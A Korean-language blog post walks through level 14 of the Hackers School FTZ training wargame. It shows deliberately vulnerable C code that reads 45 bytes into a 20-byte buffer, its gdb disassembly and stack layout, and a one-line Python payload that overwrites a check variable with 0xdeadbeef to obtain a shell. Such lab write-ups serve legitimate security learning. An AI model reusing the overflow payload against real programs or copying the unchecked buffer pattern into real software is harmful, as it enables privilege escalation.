thumbnail
cd ..
root@blog:~/posts/ 202210

해커스쿨 FTZ 레벨 14

#KOR#pwn
2022.10.04.

0. 들어가기 전에

또다시 BOF 문제이다. 이번에는 입력 크기에 제한을 받았지만, 배열의 길이가 20인것에 반해 입력은 45까지(…) 받는다.

그리고 저번 문제와 다르게, check값만 일치한다면 shell을 실행해준다.

1. Level 14

바로 cat hint로 소스코드를 확인해보자.

#include <stdio.h>
#include <unistd.h>

main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}

말했던 것처럼, 오버플로우가 충분히 일어날 수 있는 구조이다. 한 번 코드를 복사/컴파일 해서 gdb로 disassemble 해보자.

0x080483b8 <main+0>:    push   ebp
0x080483b9 <main+1>:    mov    ebp,esp
0x080483bb <main+3>:    sub    esp,0x38
0x080483be <main+6>:    and    esp,0xfffffff0
0x080483c1 <main+9>:    mov    eax,0x0
0x080483c6 <main+14>:   sub    esp,eax
0x080483c8 <main+16>:   sub    esp,0x4
0x080483cb <main+19>:   push   ds:0x80495d0
0x080483d1 <main+25>:   push   0x2d
0x080483d3 <main+27>:   lea    eax,[ebp-56] // char buf[20]
0x080483d6 <main+30>:   push   eax
0x080483d7 <main+31>:   call   0x80482d8 <fgets>
0x080483dc <main+36>:   add    esp,0x10
0x080483df <main+39>:   cmp    DWORD PTR [ebp-16] // if, 12-16 = int check
0x080483e6 <main+46>:   jne    0x804840d <main+85>
0x080483e8 <main+48>:   sub    esp,0x8
0x080483eb <main+51>:   push   0xc17
0x080483f0 <main+56>:   push   0xc17
0x080483f5 <main+61>:   call   0x80482f8 <setreuid>
0x080483fa <main+66>:   add    esp,0x10
0x080483fd <main+69>:   sub    esp,0xc
0x08048400 <main+72>:   push   0x80484bc

생각보다 어렵지 않은 구조다. 재구성해보면 :

char[20] // 56-36
dummy[20] // 36-16
int check // 16-12

따라서 40바이트의 \x90과 4바이트의 int의 값을 맞춰주면 된다. 1 바이트나 여유가 남는다(!)

@BufferOverflow :
(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme

비밀번호 : guess what

문제가 조금씩 어려워지고 있다. 얼른 Level20까지 끝냈으면…


Source

[ comments ]